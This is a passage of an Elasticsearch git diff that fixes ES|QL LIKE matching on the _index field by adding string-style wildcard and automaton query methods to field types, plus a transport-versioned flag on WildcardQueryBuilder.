 create mode 100644 x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/io/stream/ExpressionQuery.java
 create mode 100644 x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/io/stream/ExpressionQueryBuilder.java
 create mode 100644 x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/io/stream/PlanStreamWrapperQueryBuilder.java
 create mode 100644 x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlFlags.java

diff --git a/benchmarks/src/main/java/org/elasticsearch/benchmark/_nightly/esql/QueryPlanningBenchmark.java b/benchmarks/src/main/java/org/elasticsearch/benchmark/_nightly/esql/QueryPlanningBenchmark.java
index d2811962dd29d..3b4d445002073 100644
--- a/benchmarks/src/main/java/org/elasticsearch/benchmark/_nightly/esql/QueryPlanningBenchmark.java
+++ b/benchmarks/src/main/java/org/elasticsearch/benchmark/_nightly/esql/QueryPlanningBenchmark.java
@@ -70,11 +70,11 @@ public class QueryPlanningBenchmark {
     private EsqlParser defaultParser;
     private Analyzer manyFieldsAnalyzer;
     private LogicalPlanOptimizer defaultOptimizer;
+    private Configuration config;
 
     @Setup
     public void setup() {
-
-        var config = new Configuration(
+        this.config = new Configuration(
             DateUtils.UTC,
             Locale.US,
             null,
@@ -116,7 +116,7 @@ public void setup() {
     }
 
     private LogicalPlan plan(EsqlParser parser, Analyzer analyzer, LogicalPlanOptimizer optimizer, String query) {
-        var parsed = parser.createStatement(query, new QueryParams(), telemetry);
+        var parsed = parser.createStatement(query, new QueryParams(), telemetry, config);
         var analyzed = analyzer.analyze(parsed);
         var optimized = optimizer.optimize(analyzed);
         return optimized;
diff --git a/docs/changelog/130849.yaml b/docs/changelog/130849.yaml
new file mode 100644
index 0000000000000..6dcc5908f7fb1
--- /dev/null
+++ b/docs/changelog/130849.yaml
@@ -0,0 +1,6 @@
+pr: 130849
+summary: Fix behavior for `_index` LIKE for ESQL
+area: ES|QL
+type: bug
+issues:
+ - 129511
diff --git a/server/src/main/java/org/elasticsearch/TransportVersions.java b/server/src/main/java/org/elasticsearch/TransportVersions.java
index 5fbbe85d1a22f..3e6ff54140700 100644
--- a/server/src/main/java/org/elasticsearch/TransportVersions.java
+++ b/server/src/main/java/org/elasticsearch/TransportVersions.java
@@ -211,6 +211,7 @@ static TransportVersion def(int id) {
     public static final TransportVersion ESQL_DOCUMENTS_FOUND_AND_VALUES_LOADED_8_19 = def(8_841_0_61);
     public static final TransportVersion ESQL_PROFILE_INCLUDE_PLAN_8_19 = def(8_841_0_62);
     public static final TransportVersion ESQL_SPLIT_ON_BIG_VALUES_8_19 = def(8_841_0_63);
+    public static final TransportVersion ESQL_FIXED_INDEX_LIKE_8_19 = def(8_841_0_64);
     public static final TransportVersion V_9_0_0 = def(9_000_0_09);
     public static final TransportVersion INITIAL_ELASTICSEARCH_9_0_1 = def(9_000_0_10);
     public static final TransportVersion INITIAL_ELASTICSEARCH_9_0_2 = def(9_000_0_11);
@@ -328,6 +329,7 @@ static TransportVersion def(int id) {
     public static final TransportVersion ESQL_PROFILE_INCLUDE_PLAN = def(9_111_0_00);
     public static final TransportVersion MAPPINGS_IN_DATA_STREAMS = def(9_112_0_00);
     public static final TransportVersion ESQL_SPLIT_ON_BIG_VALUES_9_1 = def(9_112_0_01);
+    public static final TransportVersion ESQL_FIXED_INDEX_LIKE_9_1 = def(9_112_0_02);
 
     /*
      * STOP! READ THIS FIRST! No, really,
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/ConstantFieldType.java b/server/src/main/java/org/elasticsearch/index/mapper/ConstantFieldType.java
index 5ecb75b09408c..0b246c2492fdb 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/ConstantFieldType.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/ConstantFieldType.java
@@ -15,6 +15,8 @@
 import org.apache.lucene.search.MultiTermQuery;
 import org.apache.lucene.search.Query;
 import org.apache.lucene.util.BytesRef;
+import org.apache.lucene.util.automaton.Automaton;
+import org.apache.lucene.util.automaton.CharacterRunAutomaton;
 import org.elasticsearch.common.lucene.search.Queries;
 import org.elasticsearch.common.regex.Regex;
 import org.elasticsearch.core.Nullable;
@@ -23,6 +25,7 @@
 
 import java.util.Collection;
 import java.util.Map;
+import java.util.function.Supplier;
 
 /**
  * A {@link MappedFieldType} that has the same value for all documents.
@@ -135,9 +138,47 @@ public final Query wildcardQuery(String value, boolean caseInsensitive, QueryRew
         }
     }
 
+    /**
+     * Returns a query that matches all documents or no documents
+     * It usually calls {@link #wildcardQuery(String, boolean, QueryRewriteContext)}
+     * except for IndexFieldType which overrides this method to use its own matching logic.
+     */
+    public Query wildcardLikeQuery(String value, boolean caseInsensitive, QueryRewriteContext context) {
+        return wildcardQuery(value, caseInsensitive, context);
+    }
+
     @Override
     public final boolean fieldHasValue(FieldInfos fieldInfos) {
         // We consider constant field types to always have value.
         return true;
     }
+
+    /**
+     * Returns the constant value of this field as a string.
+     * Based on the field type, we need to get it in a different way.
+     */
+    public abstract String getConstantFieldValue(SearchExecutionContext context);
+
+    /**
+     * Returns a query that matches all documents or no documents
+     * depending on whether the constant value of this field matches or not
+     */
+    @Override
+    public Query automatonQuery(
+        Supplier<Automaton> automatonSupplier,
+        Supplier<CharacterRunAutomaton> characterRunAutomatonSupplier,
+        @Nullable MultiTermQuery.RewriteMethod method,
+        SearchExecutionContext context,
+        String description
+    ) {
+        CharacterRunAutomaton compiled = characterRunAutomatonSupplier.get();
+        boolean matches = compiled.run(getConstantFieldValue(context));
+        if (matches) {
+            return new MatchAllDocsQuery();
+        } else {
+            return new MatchNoDocsQuery(
+                "The \"" + context.getFullyQualifiedIndex().getName() + "\" query was rewritten to a \"match_none\" query."
+            );
+        }
+    }
 }
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/IndexFieldMapper.java b/server/src/main/java/org/elasticsearch/index/mapper/IndexFieldMapper.java
index 33c6ff15cccfd..79754a4c63b30 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/IndexFieldMapper.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/IndexFieldMapper.java
@@ -10,9 +10,13 @@
 package org.elasticsearch.index.mapper;
 
 import org.apache.lucene.search.MatchAllDocsQuery;
+import org.apache.lucene.search.MatchNoDocsQuery;
+import org.apache.lucene.search.MultiTermQuery;
 import org.apache.lucene.search.Query;
 import org.apache.lucene.util.BytesRef;
 import org.elasticsearch.common.Strings;
+import org.elasticsearch.common.regex.Regex;
+import org.elasticsearch.core.Nullable;
 import org.elasticsearch.index.fielddata.FieldData;
 import org.elasticsearch.index.fielddata.FieldDataContext;
 import org.elasticsearch.index.fielddata.IndexFieldData;
@@ -27,6 +31,7 @@
 
 import java.util.Collections;
 import java.util.List;
+import java.util.Locale;
 
 public class IndexFieldMapper extends MetadataFieldMapper {
 
@@ -102,6 +107,38 @@ public StoredFieldsSpec storedFieldsSpec() {
             };
         }
 
+        @Override
+        public Query wildcardLikeQuery(
+            String value,
+            @Nullable MultiTermQuery.RewriteMethod method,
+            boolean caseInsensitve,
+            SearchExecutionContext context
+        ) {
+            String indexName = context.getFullyQualifiedIndex().getName();
+            return getWildcardLikeQuery(value, caseInsensitve, indexName);
+        }
+
+        @Override
+        public Query wildcardLikeQuery(String value, boolean caseInsensitive, QueryRewriteContext context) {
+            String indexName = context.getFullyQualifiedIndex().getName();
+            return getWildcardLikeQuery(value, caseInsensitive, indexName);
+        }
+
+        private static Query getWildcardLikeQuery(String value, boolean caseInsensitve, String indexName) {
+            if (caseInsensitve) {
+                value = value.toLowerCase(Locale.ROOT);
+                indexName = indexName.toLowerCase(Locale.ROOT);
+            }
+            if (Regex.simpleMatch(value, indexName)) {
+                return new MatchAllDocsQuery();
+            }
+            return new MatchNoDocsQuery("The \"" + indexName + "\" query was rewritten to a \"match_none\" query.");
+        }
+
+        @Override
+        public String getConstantFieldValue(SearchExecutionContext context) {
+            return context.getFullyQualifiedIndex().getName();
+        }
     }
 
     public IndexFieldMapper() {
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/IndexModeFieldMapper.java b/server/src/main/java/org/elasticsearch/index/mapper/IndexModeFieldMapper.java
index 9708753926e1d..82960224e13bf 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/IndexModeFieldMapper.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/IndexModeFieldMapper.java
@@ -57,6 +57,11 @@ protected boolean matches(String pattern, boolean caseInsensitive, QueryRewriteC
             return Regex.simpleMatch(pattern, indexMode, caseInsensitive);
         }
 
+        @Override
+        public String getConstantFieldValue(SearchExecutionContext context) {
+            return context.getIndexSettings().getMode().getName();
+        }
+
         @Override
         public Query existsQuery(SearchExecutionContext context) {
             return new MatchAllDocsQuery();
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/KeywordFieldMapper.java b/server/src/main/java/org/elasticsearch/index/mapper/KeywordFieldMapper.java
index f8af7043b13dd..cf731cc5cbc65 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/KeywordFieldMapper.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/KeywordFieldMapper.java
@@ -24,6 +24,7 @@
 import org.apache.lucene.index.IndexReader;
 import org.apache.lucene.index.LeafReaderContext;
 import org.apache.lucene.index.MultiTerms;
+import org.apache.lucene.index.Term;
 import org.apache.lucene.index.Terms;
 import org.apache.lucene.index.TermsEnum;
 import org.apache.lucene.search.MultiTermQuery;
@@ -31,6 +32,7 @@
 import org.apache.lucene.util.BytesRef;
 import org.apache.lucene.util.automaton.Automata;
 import org.apache.lucene.util.automaton.Automaton;
+import org.apache.lucene.util.automaton.CharacterRunAutomaton;
 import org.apache.lucene.util.automaton.CompiledAutomaton;
 import org.apache.lucene.util.automaton.CompiledAutomaton.AUTOMATON_TYPE;
 import org.apache.lucene.util.automaton.Operations;
@@ -51,6 +53,7 @@
 import org.elasticsearch.index.fielddata.SourceValueFetcherSortedBinaryIndexFieldData;
 import org.elasticsearch.index.fielddata.StoredFieldSortedBinaryIndexFieldData;
 import org.elasticsearch.index.fielddata.plain.SortedSetOrdinalsIndexFieldData;
+import org.elasticsearch.index.query.AutomatonQueryWithDescription;
 import org.elasticsearch.index.query.SearchExecutionContext;
 import org.elasticsearch.index.similarity.SimilarityProvider;
 import org.elasticsearch.script.Script;
@@ -82,6 +85,7 @@
 import java.util.Map;
 import java.util.Objects;
 import java.util.Set;
+import java.util.function.Supplier;
 
 import static org.apache.lucene.index.IndexWriter.MAX_TERM_LENGTH;
 import static org.elasticsearch.core.Strings.format;
@@ -1042,6 +1046,17 @@ public IndexSortConfig getIndexSortConfig() {
         public boolean hasDocValuesSkipper() {
             return hasDocValuesSkipper;
         }
+
+        @Override
+        public Query automatonQuery(
+            Supplier<Automaton> automatonSupplier,
+            Supplier<CharacterRunAutomaton> characterRunAutomatonSupplier,
+            @Nullable MultiTermQuery.RewriteMethod method,
+            SearchExecutionContext context,
+            String description
+        ) {
+            return new AutomatonQueryWithDescription(new Term(name()), automatonSupplier.get(), description);
+        }
     }
 
     private final boolean indexed;
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/MappedFieldType.java b/server/src/main/java/org/elasticsearch/index/mapper/MappedFieldType.java
index a9e67be4085dd..87877f926983e 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/MappedFieldType.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/MappedFieldType.java
@@ -25,6 +25,8 @@
 import org.apache.lucene.search.Query;
 import org.apache.lucene.search.TermQuery;
 import org.apache.lucene.util.BytesRef;
+import org.apache.lucene.util.automaton.Automaton;
+import org.apache.lucene.util.automaton.CharacterRunAutomaton;
 import org.elasticsearch.ElasticsearchException;
 import org.elasticsearch.ElasticsearchParseException;
 import org.elasticsearch.cluster.metadata.IndexMetadata;
@@ -54,6 +56,7 @@
 import java.util.Objects;
 import java.util.Set;
 import java.util.function.Function;
+import java.util.function.Supplier;
 
 import static org.elasticsearch.search.SearchService.ALLOW_EXPENSIVE_QUERIES;
 
@@ -329,6 +332,19 @@ public final Query wildcardQuery(String value, @Nullable MultiTermQuery.RewriteM
         return wildcardQuery(value, method, false, context);
     }
 
+    /**
+     * Similar to wildcardQuery, except that we change the behavior for ESQL
+     * to behave like a string LIKE query, where the value is matched as a string
+     */
+    public Query wildcardLikeQuery(
+        String value,
+        @Nullable MultiTermQuery.RewriteMethod method,
+        boolean caseInsensitve,
+        SearchExecutionContext context
+    ) {
+        return wildcardQuery(value, method, caseInsensitve, context);
+    }
+
     public Query wildcardQuery(
         String value,
         @Nullable MultiTermQuery.RewriteMethod method,
@@ -370,6 +386,23 @@ public Query regexpQuery(
         );
     }
 
+    /**
+     * Returns a Lucine pushable Query for the current field
+     * For now can only be AutomatonQuery or MatchAllDocsQuery() or MatchNoDocsQuery()
+     */
+    public Query automatonQuery(
+        Supplier<Automaton> automatonSupplier,
+        Supplier<CharacterRunAutomaton> characterRunAutomatonSupplier,
+        @Nullable MultiTermQuery.RewriteMethod method,
+        SearchExecutionContext context,
+        String description
+    ) {
+        throw new QueryShardException(
+            context,
+            "Can only use automaton queries on keyword fields - not on [" + name + "] which is of type [" + typeName() + "]"
+        );
+    }
+
     public Query existsQuery(SearchExecutionContext context) {
         if (hasDocValues() || getTextSearchInfo().hasNorms()) {
             return new FieldExistsQuery(name());
diff --git a/server/src/main/java/org/elasticsearch/index/query/AutomatonQueryBuilder.java b/server/src/main/java/org/elasticsearch/index/query/AutomatonQueryBuilder.java
deleted file mode 100644
index 3fd957ee8acfb..0000000000000
--- a/server/src/main/java/org/elasticsearch/index/query/AutomatonQueryBuilder.java
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
- * or more contributor license agreements. Licensed under the "Elastic License
- * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
- * Public License v 1"; you may not use this file except in compliance with, at
- * your election, the "Elastic License 2.0", the "GNU Affero General Public
- * License v3.0 only", or the "Server Side Public License, v 1".
- */
-
-package org.elasticsearch.index.query;
-
-import org.apache.lucene.index.Term;
-import org.apache.lucene.search.AutomatonQuery;
-import org.apache.lucene.search.Query;
-import org.apache.lucene.util.automaton.Automaton;
-import org.elasticsearch.TransportVersion;
-import org.elasticsearch.common.Strings;
-import org.elasticsearch.common.io.stream.StreamOutput;
-import org.elasticsearch.xcontent.XContentBuilder;
-
-import java.io.IOException;
-import java.io.UnsupportedEncodingException;
-import java.util.Objects;
-
-/**
- * Implements an Automaton query, which matches documents based on a Lucene Automaton.
- * It does not support serialization or XContent representation.
- */
-public class AutomatonQueryBuilder extends AbstractQueryBuilder<AutomatonQueryBuilder> implements MultiTermQueryBuilder {
-    private final String fieldName;
-    private final Automaton automaton;
-    private final String description;
-
-    public AutomatonQueryBuilder(String fieldName, Automaton automaton, String description) {
-        if (Strings.isEmpty(fieldName)) {
-            throw new IllegalArgumentException("field name is null or empty");
-        }
-        if (automaton == null) {
-            throw new IllegalArgumentException("automaton cannot be null");
-        }
-        this.fieldName = fieldName;
-        this.automaton = automaton;
-        this.description = description;
-    }
-
-    @Override
-    public String fieldName() {
-        return fieldName;
-    }
-
-    public String description() {
-        return description;
-    }
-
-    @Override
-    public String getWriteableName() {
-        throw new UnsupportedOperationException("AutomatonQueryBuilder does not support getWriteableName");
-    }
-
-    @Override
-    protected void doWriteTo(StreamOutput out) throws IOException {
-        throw new UnsupportedEncodingException("AutomatonQueryBuilder does not support doWriteTo");
-    }
-
-    @Override
-    protected void doXContent(XContentBuilder builder, Params params) throws IOException {
-        throw new UnsupportedEncodingException("AutomatonQueryBuilder does not support doXContent");
-    }
-
-    @Override
-    protected Query doToQuery(SearchExecutionContext context) throws IOException {
-        return new AutomatonQueryWithDescription(new Term(fieldName), automaton, description);
-    }
-
-    @Override
-    protected int doHashCode() {
-        return Objects.hash(fieldName, automaton, description);
-    }
-
-    @Override
-    protected boolean doEquals(AutomatonQueryBuilder other) {
-        return Objects.equals(fieldName, other.fieldName)
-            && Objects.equals(automaton, other.automaton)
-            && Objects.equals(description, other.description);
-    }
-
-    @Override
-    public TransportVersion getMinimalSupportedVersion() {
-        throw new UnsupportedOperationException("AutomatonQueryBuilder does not support getMinimalSupportedVersion");
-    }
-
-    static class AutomatonQueryWithDescription extends AutomatonQuery {
-        private final String description;
-
-        AutomatonQueryWithDescription(Term term, Automaton automaton, String description) {
-            super(term, automaton);
-            this.description = description;
-        }
-
-        @Override
-        public String toString(String field) {
-            if (this.field.equals(field)) {
-                return description;
-            }
-            return this.field + ":" + description;
-        }
-    }
-}
diff --git a/server/src/main/java/org/elasticsearch/index/query/AutomatonQueryWithDescription.java b/server/src/main/java/org/elasticsearch/index/query/AutomatonQueryWithDescription.java
new file mode 100644
index 0000000000000..78c285470e3b6
--- /dev/null
+++ b/server/src/main/java/org/elasticsearch/index/query/AutomatonQueryWithDescription.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the "Elastic License
+ * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
+ * Public License v 1"; you may not use this file except in compliance with, at
+ * your election, the "Elastic License 2.0", the "GNU Affero General Public
+ * License v3.0 only", or the "Server Side Public License, v 1".
+ */
+
+package org.elasticsearch.index.query;
+
+import org.apache.lucene.index.Term;
+import org.apache.lucene.search.AutomatonQuery;
+import org.apache.lucene.util.automaton.Automaton;
+
+/**
+ * A specialized {@link AutomatonQuery} that includes a description of the query.
+ * This can be useful for debugging or logging purposes, providing more context
+ * about the query being executed.
+ */
+public class AutomatonQueryWithDescription extends AutomatonQuery {
+    private final String description;
+
+    public AutomatonQueryWithDescription(Term term, Automaton automaton, String description) {
+        super(term, automaton);
+        this.description = description;
+    }
+
+    @Override
+    public String toString(String field) {
+        if (this.field.equals(field)) {
+            return description;
+        }
+        return this.field + ":" + description;
+    }
+}
diff --git a/server/src/main/java/org/elasticsearch/index/query/CoordinatorRewriteContext.java b/server/src/main/java/org/elasticsearch/index/query/CoordinatorRewriteContext.java
index fd1f39a70d525..e0cfd86c10c6d 100644
--- a/server/src/main/java/org/elasticsearch/index/query/CoordinatorRewriteContext.java
+++ b/server/src/main/java/org/elasticsearch/index/query/CoordinatorRewriteContext.java
@@ -72,6 +72,11 @@ protected boolean matches(String pattern, boolean caseInsensitive, QueryRewriteC
             return Regex.simpleMatch(pattern, tierPreference);
         }
 
+        @Override
+        public String getConstantFieldValue(SearchExecutionContext context) {
+            return context.getTierPreference();
+        }
+
         @Override
         public Query existsQuery(SearchExecutionContext context) {
             throw new UnsupportedOperationException("field exists query is not supported on the coordinator node");
diff --git a/server/src/main/java/org/elasticsearch/index/query/WildcardQueryBuilder.java b/server/src/main/java/org/elasticsearch/index/query/WildcardQueryBuilder.java
index fed6c3df15587..f84aef4617070 100644
--- a/server/src/main/java/org/elasticsearch/index/query/WildcardQueryBuilder.java
+++ b/server/src/main/java/org/elasticsearch/index/query/WildcardQueryBuilder.java
@@ -56,6 +56,13 @@ public class WildcardQueryBuilder extends AbstractQueryBuilder<WildcardQueryBuil
     private static final ParseField CASE_INSENSITIVE_FIELD = new ParseField("case_insensitive");
     private boolean caseInsensitive = DEFAULT_CASE_INSENSITIVITY;
 
+    /**
+     * Force string matching instead of the field-type-aware wildcard matching.
+     * When this is true the {@link org.elasticsearch.index.mapper.IndexFieldMapper} will always match of the
+     * {@code cluster_name:index_name} instead of emulating the glob pattern on the URL.
+     */
+    private boolean forceStringMatch = false;
+
     /**
      * Implements the wildcard search query. Supported wildcards are {@code *}, which
      * matches any character sequence (including the empty one), and {@code ?},
@@ -78,6 +85,16 @@ public WildcardQueryBuilder(String fieldName, String value) {
         this.value = value;
     }
 
+    /**
+     * @param forceStringMatch Force string matching instead of the field-type-aware wildcard matching.
+     * When this is true the {@link org.elasticsearch.index.mapper.IndexFieldMapper} will always match of the
+     * {@code cluster_name:index_name} instead of emulating the glob pattern on the URL.
+     */
+    public WildcardQueryBuilder(String fieldName, String value, boolean forceStringMatch) {
+        this(fieldName, value);
+        this.forceStringMatch = forceStringMatch;
+    }
+
     /**
      * Read from a stream.
      */
@@ -87,6 +104,11 @@ public WildcardQueryBuilder(StreamInput in) throws IOException {
         value = in.readString();
         rewrite = in.readOptionalString();
         caseInsensitive = in.readBoolean();
+        if (expressionTransportSupported(in.getTransportVersion())) {
+            forceStringMatch = in.readBoolean();
+        } else {
+            forceStringMatch = false;
+        }
     }
 
     @Override
@@ -95,6 +117,17 @@ protected void doWriteTo(StreamOutput out) throws IOException {
         out.writeString(value);
         out.writeOptionalString(rewrite);
         out.writeBoolean(caseInsensitive);
+        if (expressionTransportSupported(out.getTransportVersion())) {
+            out.writeBoolean(forceStringMatch);
+        }
+    }
+
+    /**
+     * Returns true if the Transport version is compatible with ESQL_FIXED_INDEX_LIKE
+     */
+    public static boolean expressionTransportSupported(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.ESQL_FIXED_INDEX_LIKE_9_1)
+            || version.isPatchFrom(TransportVersions.ESQL_FIXED_INDEX_LIKE_8_19);
     }
 
     @Override
@@ -218,7 +251,12 @@ private QueryBuilder maybeRewriteBasedOnConstantFields(@Nullable MappedFieldType
             // This logic is correct for all field types, but by only applying it to constant
             // fields we also have the guarantee that it doesn't perform I/O, which is important
             // since rewrites might happen on a network thread.
-            Query query = constantFieldType.wildcardQuery(value, caseInsensitive, context); // the rewrite method doesn't matter
+            Query query;
+            if (forceStringMatch) {
+                query = constantFieldType.wildcardLikeQuery(value, caseInsensitive, context); // the rewrite method doesn't matter
+            } else {
+                query = constantFieldType.wildcardQuery(value, caseInsensitive, context); // the rewrite method doesn't matter
+            }
             if (query instanceof MatchAllDocsQuery) {
                 return new MatchAllQueryBuilder();
             } else if (query instanceof MatchNoDocsQuery) {
@@ -244,7 +282,7 @@ protected Query doToQuery(SearchExecutionContext context) throws IOException {
 
     @Override
     protected int doHashCode() {
-        return Objects.hash(fieldName, value, rewrite, caseInsensitive);
+        return Objects.hash(fieldName, value, rewrite, caseInsensitive, forceStringMatch);
     }
 
     @Override
@@ -252,7 +290,8 @@ protected boolean doEquals(WildcardQueryBuilder other) {
         return Objects.equals(fieldName, other.fieldName)
             && Objects.equals(value, other.value)
             && Objects.equals(rewrite, other.rewrite)
-            && Objects.equals(caseInsensitive, other.caseInsensitive);
+            && Objects.equals(caseInsensitive, other.caseInsensitive)
+            && Objects.equals(forceStringMatch, other.forceStringMatch);
     }
 
     @Override
diff --git a/server/src/test/java/org/elasticsearch/index/query/WildcardQueryBuilderTests.java b/server/src/test/java/org/elasticsearch/index/query/WildcardQueryBuilderTests.java
index 182bd4d6b5b86..13812ec341f23 100644
--- a/server/src/test/java/org/elasticsearch/index/query/WildcardQueryBuilderTests.java
+++ b/server/src/test/java/org/elasticsearch/index/query/WildcardQueryBuilderTests.java
@@ -114,6 +114,7 @@ public void testFromJson() throws IOException {
         checkGeneratedJson(json, parsed);
         assertEquals(json, "ki*y", parsed.value());
         assertEquals(json, 2.0, parsed.boost(), 0.0001);
+        assertEquals(new WildcardQueryBuilder("user", "ki*y", false).caseInsensitive(true).boost(2.0f), parsed);
     }
 
     public void testParseFailsWithMultipleFields() throws IOException {
diff --git a/x-pack/plugin/core/src/main/java/org/elasticsearch/xpack/cluster/routing/allocation/mapper/DataTierFieldMapper.java b/x-pack/plugin/core/src/main/java/org/elasticsearch/xpack/cluster/routing/allocation/mapper/DataTierFieldMapper.java
index 0e185a90ed39b..67df2b34c4c1f 100644
--- a/x-pack/plugin/core/src/main/java/org/elasticsearch/xpack/cluster/routing/allocation/mapper/DataTierFieldMapper.java
+++ b/x-pack/plugin/core/src/main/java/org/elasticsearch/xpack/cluster/routing/allocation/mapper/DataTierFieldMapper.java
@@ -60,6 +60,11 @@ protected boolean matches(String pattern, boolean caseInsensitive, QueryRewriteC
             return Regex.simpleMatch(pattern, tierPreference);
         }
 
+        @Override
+        public String getConstantFieldValue(SearchExecutionContext context) {
+            return context.getTierPreference();
+        }
+
         @Override
         public Query existsQuery(SearchExecutionContext context) {
             String tierPreference = context.getTierPreference();
diff --git a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/AutomatonQuery.java b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/AutomatonQuery.java
deleted file mode 100644
index 343cabc6feea9..0000000000000
--- a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/AutomatonQuery.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
- * or more contributor license agreements. Licensed under the Elastic License
- * 2.0; you may not use this file except in compliance with the Elastic License
- * 2.0.
- */
-package org.elasticsearch.xpack.esql.core.querydsl.query;
-
-import org.apache.lucene.util.automaton.Automaton;
-import org.elasticsearch.index.query.AutomatonQueryBuilder;
-import org.elasticsearch.index.query.QueryBuilder;
-import org.elasticsearch.xpack.esql.core.tree.Source;
-
-import java.util.Objects;
-
-/**
- * Query that matches documents based on a Lucene Automaton.
- */
-public class AutomatonQuery extends Query {
-
-    private final String field;
-    private final Automaton automaton;
-    private final String automatonDescription;
-
-    public AutomatonQuery(Source source, String field, Automaton automaton, String automatonDescription) {
-        super(source);
-        this.field = field;
-        this.automaton = automaton;
-        this.automatonDescription = automatonDescription;
-    }
-
-    public String field() {
-        return field;
-    }
-
-    @Override
-    protected QueryBuilder asBuilder() {
-        return new AutomatonQueryBuilder(field, automaton, automatonDescription);
-    }
-
-    @Override
-    public int hashCode() {
-        return Objects.hash(field, automaton, automatonDescription);
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (this == obj) {
-            return true;
-        }
-
-        if (obj == null || getClass() != obj.getClass()) {
-            return false;
-        }
-
-        AutomatonQuery other = (AutomatonQuery) obj;
-        return Objects.equals(field, other.field)
-            && Objects.equals(automaton, other.automaton)
-            && Objects.equals(automatonDescription, other.automatonDescription);
-    }
-
-    @Override
-    protected String innerToString() {
-        return "AutomatonQuery{" + "field='" + field + '\'' + '}';
-    }
-}
diff --git a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/BoolQuery.java b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/BoolQuery.java
index 2525eb8778488..ccea01378e6bd 100644
--- a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/BoolQuery.java
+++ b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/BoolQuery.java
@@ -100,4 +100,14 @@ public Query negate(Source source) {
     public boolean scorable() {
         return true;
     }
+
+    @Override
+    public boolean containsPlan() {
+        for (Query q : queries) {
+            if (q.containsPlan()) {
+                return true;
+            }
+        }
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/ExistsQuery.java b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/ExistsQuery.java
index 42876f2a7ead3..5bad8d60a4db9 100644
--- a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/ExistsQuery.java
+++ b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/ExistsQuery.java
@@ -29,4 +29,9 @@ protected QueryBuilder asBuilder() {
     protected String innerToString() {
         return name;
     }
+
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/GeoDistanceQuery.java b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/GeoDistanceQuery.java
index f0806660c3f7a..1a15c28fc89a5 100644
--- a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/GeoDistanceQuery.java
+++ b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/GeoDistanceQuery.java
@@ -75,4 +75,9 @@ public boolean equals(Object obj) {
     protected String innerToString() {
         return field + ":" + "(" + distance + "," + "(" + lat + ", " + lon + "))";
     }
+
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/MatchAll.java b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/MatchAll.java
index 3a868349a183d..76bc291dab651 100644
--- a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/MatchAll.java
+++ b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/MatchAll.java
@@ -25,4 +25,9 @@ protected QueryBuilder asBuilder() {
     protected String innerToString() {
         return "";
     }
+
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/NotQuery.java b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/NotQuery.java
index 1a37fc8f42b9a..c62f54ea99693 100644
--- a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/NotQuery.java
+++ b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/NotQuery.java
@@ -59,4 +59,9 @@ protected String innerToString() {
     public Query negate(Source source) {
         return child;
     }
+
+    @Override
+    public boolean containsPlan() {
